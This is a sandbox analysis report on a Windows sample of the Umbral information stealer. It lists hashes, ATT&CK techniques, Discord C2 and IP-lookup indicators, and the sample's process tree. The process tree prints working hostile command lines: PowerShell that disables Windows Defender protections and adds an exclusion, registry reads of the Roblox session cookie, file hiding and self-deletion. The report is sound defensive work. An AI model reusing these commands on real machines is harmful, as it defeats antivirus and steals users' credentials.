umbral | e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407

Analysis

max time kernel
16s
max time network
22s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
15-11-2024 21:58

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General

Target

e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe
Size

227KB
MD5

14710332a8810ef47ae406bdc38ba850
SHA1

fbffc8889614801b02ccd2ee6b0e89157fe45991
SHA256

e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407
SHA512

6260ca6c6fd3baa92a86cd5ce0901efa06f2690ed98e0086a126a07d102b2810b192e55c46295805a1e7d261fa3721058ec5c22ba13e60bfa25f28ce6803c22a
SSDEEP

6144:+loZM+rIkd8g+EtXHkv/iD4tqjy0ad1+47mEl5Q8hb8e1mcgi:ooZtL+EP8tqjy0ad1+47mEl5QkL5

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1040-1-0x0000000000B50000-0x0000000000B90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2608	powershell.exe
328	powershell.exe
2108	powershell.exe
2444	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe

Deletes itself 1 IoCs

pid	Process
1944	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1944	cmd.exe
1624	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1800	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1624	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe
2608	powershell.exe
2444	powershell.exe
328	powershell.exe
1060	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe
Token: SeIncreaseQuotaPrivilege	2680	wmic.exe
Token: SeSecurityPrivilege	2680	wmic.exe
Token: SeTakeOwnershipPrivilege	2680	wmic.exe
Token: SeLoadDriverPrivilege	2680	wmic.exe
Token: SeSystemProfilePrivilege	2680	wmic.exe
Token: SeSystemtimePrivilege	2680	wmic.exe
Token: SeProfSingleProcessPrivilege	2680	wmic.exe
Token: SeIncBasePriorityPrivilege	2680	wmic.exe
Token: SeCreatePagefilePrivilege	2680	wmic.exe
Token: SeBackupPrivilege	2680	wmic.exe
Token: SeRestorePrivilege	2680	wmic.exe
Token: SeShutdownPrivilege	2680	wmic.exe
Token: SeDebugPrivilege	2680	wmic.exe
Token: SeSystemEnvironmentPrivilege	2680	wmic.exe
Token: SeRemoteShutdownPrivilege	2680	wmic.exe
Token: SeUndockPrivilege	2680	wmic.exe
Token: SeManageVolumePrivilege	2680	wmic.exe
Token: 33	2680	wmic.exe
Token: 34	2680	wmic.exe
Token: 35	2680	wmic.exe
Token: SeIncreaseQuotaPrivilege	2680	wmic.exe
Token: SeSecurityPrivilege	2680	wmic.exe
Token: SeTakeOwnershipPrivilege	2680	wmic.exe
Token: SeLoadDriverPrivilege	2680	wmic.exe
Token: SeSystemProfilePrivilege	2680	wmic.exe
Token: SeSystemtimePrivilege	2680	wmic.exe
Token: SeProfSingleProcessPrivilege	2680	wmic.exe
Token: SeIncBasePriorityPrivilege	2680	wmic.exe
Token: SeCreatePagefilePrivilege	2680	wmic.exe
Token: SeBackupPrivilege	2680	wmic.exe
Token: SeRestorePrivilege	2680	wmic.exe
Token: SeShutdownPrivilege	2680	wmic.exe
Token: SeDebugPrivilege	2680	wmic.exe
Token: SeSystemEnvironmentPrivilege	2680	wmic.exe
Token: SeRemoteShutdownPrivilege	2680	wmic.exe
Token: SeUndockPrivilege	2680	wmic.exe
Token: SeManageVolumePrivilege	2680	wmic.exe
Token: 33	2680	wmic.exe
Token: 34	2680	wmic.exe
Token: 35	2680	wmic.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	328	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeIncreaseQuotaPrivilege	1124	wmic.exe
Token: SeSecurityPrivilege	1124	wmic.exe
Token: SeTakeOwnershipPrivilege	1124	wmic.exe
Token: SeLoadDriverPrivilege	1124	wmic.exe
Token: SeSystemProfilePrivilege	1124	wmic.exe
Token: SeSystemtimePrivilege	1124	wmic.exe
Token: SeProfSingleProcessPrivilege	1124	wmic.exe
Token: SeIncBasePriorityPrivilege	1124	wmic.exe
Token: SeCreatePagefilePrivilege	1124	wmic.exe
Token: SeBackupPrivilege	1124	wmic.exe
Token: SeRestorePrivilege	1124	wmic.exe
Token: SeShutdownPrivilege	1124	wmic.exe
Token: SeDebugPrivilege	1124	wmic.exe
Token: SeSystemEnvironmentPrivilege	1124	wmic.exe
Token: SeRemoteShutdownPrivilege	1124	wmic.exe
Token: SeUndockPrivilege	1124	wmic.exe
Token: SeManageVolumePrivilege	1124	wmic.exe
Token: 33	1124	wmic.exe
Token: 34	1124	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 2680	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	29
PID 1040 wrote to memory of 2680	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	29
PID 1040 wrote to memory of 2680	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	29
PID 1040 wrote to memory of 2224	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	32
PID 1040 wrote to memory of 2224	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	32
PID 1040 wrote to memory of 2224	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	32
PID 1040 wrote to memory of 2608	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	34
PID 1040 wrote to memory of 2608	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	34
PID 1040 wrote to memory of 2608	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	34
PID 1040 wrote to memory of 2444	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	36
PID 1040 wrote to memory of 2444	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	36
PID 1040 wrote to memory of 2444	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	36
PID 1040 wrote to memory of 328	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	38
PID 1040 wrote to memory of 328	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	38
PID 1040 wrote to memory of 328	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	38
PID 1040 wrote to memory of 1060	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	40
PID 1040 wrote to memory of 1060	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	40
PID 1040 wrote to memory of 1060	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	40
PID 1040 wrote to memory of 1124	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	42
PID 1040 wrote to memory of 1124	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	42
PID 1040 wrote to memory of 1124	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	42
PID 1040 wrote to memory of 2412	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	44
PID 1040 wrote to memory of 2412	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	44
PID 1040 wrote to memory of 2412	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	44
PID 1040 wrote to memory of 1724	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	46
PID 1040 wrote to memory of 1724	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	46
PID 1040 wrote to memory of 1724	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	46
PID 1040 wrote to memory of 2108	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	48
PID 1040 wrote to memory of 2108	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	48
PID 1040 wrote to memory of 2108	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	48
PID 1040 wrote to memory of 1800	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	50
PID 1040 wrote to memory of 1800	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	50
PID 1040 wrote to memory of 1800	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	50
PID 1040 wrote to memory of 1944	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	52
PID 1040 wrote to memory of 1944	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	52
PID 1040 wrote to memory of 1944	1040	e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe	52
PID 1944 wrote to memory of 1624	1944	cmd.exe	54
PID 1944 wrote to memory of 1624	1944	cmd.exe	54
PID 1944 wrote to memory of 1624	1944	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2224	attrib.exe

C:\Users\Admin\AppData\Local\Temp\e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe
"C:\Users\Admin\AppData\Local\Temp\e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1060
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2108
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1800
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e85ae204806791461c04de5d19ff512bbd2d3663ebaa0ebe3a9ae5b1faf99407N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5ce6e27d4ace9aaa3505917a2c2785c6

SHA1
12a6722164b847ae4131c46fce8989fbe014bc59

SHA256
7fae39af4c4a8e9b2a4209a855ffc67fce7387257196d55e1e67545f2fcf0b46

SHA512
d3f9c4ad495f4d4539d86cf06d1c614e5e887d4657c25cfb9779dcd1b07c59400c8b3d9db9f5f107734532e5bd646b0fa7c4907619763bc61886f1ca6504a5f5

Download Submit
memory/1040-0-0x000007FEF64B3000-0x000007FEF64B4000-memory.dmp

Filesize
4KB

Download
memory/1040-1-0x0000000000B50000-0x0000000000B90000-memory.dmp

Filesize
256KB

Download
memory/1040-2-0x000007FEF64B0000-0x000007FEF6E9C000-memory.dmp

Filesize
9.9MB

Download
memory/1040-47-0x000007FEF64B0000-0x000007FEF6E9C000-memory.dmp

Filesize
9.9MB

Download
memory/2108-42-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2108-43-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2444-14-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2444-15-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2608-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2608-8-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download